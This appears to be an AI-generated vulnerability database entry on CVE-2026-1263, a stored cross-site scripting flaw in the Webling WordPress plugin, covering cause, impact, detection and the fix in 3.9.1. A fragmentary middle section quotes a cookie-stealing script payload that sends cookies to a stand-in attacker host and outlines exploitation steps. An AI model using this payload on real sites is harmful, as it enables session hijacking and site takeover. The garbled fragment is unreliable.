
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-1263 is a Stored Cross-Site Scripting (XSS) vulnerability in the Webling plugin for WordPress, affecting all versions up to and including 3.9.0. The flaw exists in the webling_admin_save_form and webling_admin_save_memberlist functions due to insufficient input sanitization, insufficient output escaping, and missing capability checks. It was published on April 10, 2026, with a patch available in version 3.9.1. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (GitHub Advisory, Wordfence).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause is a combination of missing capability checks on the webling_admin_save_form and webling_admin_save_memberlist AJAX/admin action handlers, along with insufficient sanitization of user-supplied input before storage and inadequate output escaping when rendering stored data. This allows any authenticated user with Subscriber-level access or higher to submit malicious JavaScript payloads via these functions, which are then stored in the database and rendered unsanitized in the WordPress admin panel when an administrator views the affected form or memberlist areas. Vulnerable code paths are visible in the plugin's source at src/admin/actions/save_form.php and src/admin/actions/save_memberlist.php (GitHub Advisory, WordPress Trac).
Successful exploitation allows an attacker with minimal privileges (Subscriber-level) to inject persistent malicious scripts into the WordPress admin panel. When an administrator views the affected form or memberlist areas, the injected scripts execute in their browser context, potentially enabling session hijacking, credential theft, creation of rogue admin accounts, or other unauthorized administrative actions. The scope change (S:C in CVSS) reflects that the impact crosses from the plugin's context into the broader WordPress admin environment, increasing the risk of full site compromise (GitHub Advisory, Wordfence).
There is no public proof-of-concept exploit code known at this time, and no evidence of in-the-wild exploitation has been reported. The EPSS score is approximately 0.036% (3rd percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Subscriber level or above, which limits the attack surface compared to unauthenticated vulnerabilities (GitHub Advisory, Wordfence).
/wp-content/plugins/webling/readme.txt).<script>document.location='https://attacker.com/steal?c='+document.cookie;</script>, to be injected into a Webling form or memberlist field.webling_admin_save_form or webling_admin_save_memberlist) with the crafted payload in the form/memberlist data fields. The missing capability check allows this action to succeed without elevated privileges.webling_admin_save_form or webling_admin_save_memberlist containing script tags or encoded JavaScript payloads.<script> tags, JavaScript URIs, or encoded payloads stored in Webling form or memberlist database entries.wp_users and wp_usermeta tables as a secondary indicator of successful exploitation.The primary remediation is to upgrade the Webling plugin to version 3.9.1 or later, which addresses the missing capability checks, insufficient input sanitization, and output escaping issues. The fix is documented in the WordPress plugin repository changeset comparing tags 3.9.0 and 3.9.1. As an interim workaround, site administrators should restrict Subscriber-level (and above) user registration to trusted individuals only, and consider temporarily disabling the Webling plugin if immediate patching is not feasible. Monitoring admin activity logs for unexpected form or memberlist modifications by low-privilege users is also recommended (GitHub Advisory, WordPress Trac Changeset).
The vulnerability was discovered and reported by Wordfence, which assigned the CVE and published the initial advisory. Coverage has been limited to automated vulnerability tracking platforms and databases such as VulDB, ENISA EUVD, and CVEFeed, with no notable independent researcher commentary or significant social media discussion identified beyond standard CVE broadcast accounts (Wordfence, GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."